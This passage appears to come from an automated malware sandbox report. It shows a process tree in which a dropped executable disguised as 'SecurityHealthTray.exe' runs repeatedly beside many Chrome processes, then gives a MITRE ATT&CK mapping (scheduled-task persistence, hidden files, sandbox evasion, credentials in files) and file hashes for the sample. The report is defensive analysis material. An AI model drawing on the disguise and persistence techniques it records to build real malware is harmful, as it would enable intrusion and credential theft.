  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2544
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1348
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Suspicious use of FindShellTrayWindow
PID:1840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xbc,0xc0,0xc4,0x90,0xc8,0x7fef6166e00,0x7fef6166e10,0x7fef6166e20
  2⤵
  - Drops file in Program Files directory
  PID:1924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1016 /prefetch:2
  2⤵
  PID:1080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1500 /prefetch:8
  2⤵
  PID:1676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1672 /prefetch:8
  2⤵
  PID:1236
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1976 /prefetch:1
  2⤵
  PID:1392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2140 /prefetch:1
  2⤵
  PID:368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2468 /prefetch:1
  2⤵
  PID:2160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2628 /prefetch:1
  2⤵
  PID:2508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2736 /prefetch:1
  2⤵
  PID:2528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2748 /prefetch:1
  2⤵
  PID:2552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2636 /prefetch:8
  2⤵
  PID:2568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2804 /prefetch:2
  2⤵
  PID:2588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1272 /prefetch:8
  2⤵
  PID:476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=652 /prefetch:8
  2⤵
  PID:2228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3536 /prefetch:8
  2⤵
  PID:1192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3552 /prefetch:8
  2⤵
  PID:1728
- C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
  2⤵
  PID:2748
- - C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
    "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x13c,0x140,0x144,0x110,0x148,0x13f517740,0x13f517750,0x13f517760
    3⤵
    PID:2600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4364 /prefetch:8
  2⤵
  PID:2576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4472 /prefetch:8
  2⤵
  PID:2428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4492 /prefetch:8
  2⤵
  PID:2692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3428 /prefetch:8
  2⤵
  PID:2168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4368 /prefetch:8
  2⤵
  PID:1124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4332 /prefetch:8
  2⤵
  PID:2964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3580 /prefetch:8
  2⤵
  PID:1444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3624 /prefetch:8
  2⤵
  PID:2264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3656 /prefetch:8
  2⤵
  PID:2764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4180 /prefetch:8
  2⤵
  PID:2632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4064 /prefetch:8
  2⤵
  PID:2496
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4264 /prefetch:8
  2⤵
  PID:2452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4288 /prefetch:8
  2⤵
  PID:2604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4264 /prefetch:8
  2⤵
  PID:2480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4284 /prefetch:8
  2⤵
  PID:2320
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4232 /prefetch:8
  2⤵
  PID:2332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4508 /prefetch:8
  2⤵
  PID:2912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4256 /prefetch:8
  2⤵
  PID:2152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4328 /prefetch:8
  2⤵
  PID:2300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4220 /prefetch:8
  2⤵
  PID:2704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4492 /prefetch:8
  2⤵
  PID:1736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
  2⤵
  PID:820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4280 /prefetch:8
  2⤵
  PID:3060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4140 /prefetch:8
  2⤵
  PID:2000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3920 /prefetch:8
  2⤵
  PID:2852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4076 /prefetch:8
  2⤵
  PID:2264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3488 /prefetch:8
  2⤵
  PID:2608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3944 /prefetch:8
  2⤵
  PID:2784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4020 /prefetch:8
  2⤵
  PID:2364
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:1
  2⤵
  PID:2312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2852 /prefetch:8
  2⤵
  PID:2448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4220 /prefetch:8
  2⤵
  PID:1728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4108 /prefetch:8
  2⤵
  PID:2912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2844 /prefetch:1
  2⤵
  PID:2324
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1488 /prefetch:8
  2⤵
  PID:3064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3632 /prefetch:8
  2⤵
  PID:2884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3472 /prefetch:8
  2⤵
  PID:3008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:8
  2⤵
  PID:2476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1004,10062270545410923037,3303191735678106404,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3524 /prefetch:8
  2⤵
  PID:1388

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Documents and Settings\@asasinalex.exe

MD5
348865c449962bf4154b89d43640f4bb

SHA1
2079978d1f4a92402f5359c98b822f6587da9fce

SHA256
dbea34702c32688f055d9c56d3267a4d4da98adea992a7df123a2b3e8487018a

SHA512
bc72768c88759463cdd718c4f8bdb2f16cf8ef16bd0b6d4ee22ce16a3706a74dca583c3d95e6a5af7d4107ee456e25cbb601f70372ba15db4fba266251080778

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe

MD5
8efbdafb04ee4abb5891bc919b3386cf

SHA1
a2522f98d54b45f5035f9701b81cb23e44ac9293

SHA256
bf916ffc9e5c0d85e3927f2695cc520315a20e9e7f199f8cb2e9f2a3a1599a5a

SHA512
4fd6227f9d8877702958710aab7a29c77f9d790dc7b02cc90b52ca98bec3367fcdf8f5eb8cd45c42cab814c4eaf7e32f9d035fc2c6e80bbf184771255f9ebb70

Download Submit
C:\ProgramData\SecurityEssentials\task.xml

MD5
189124fa555a28cd0367716ef7cb9056

SHA1
d95a3064afc11a373681f7e06a3cf551cd95b9cb

SHA256
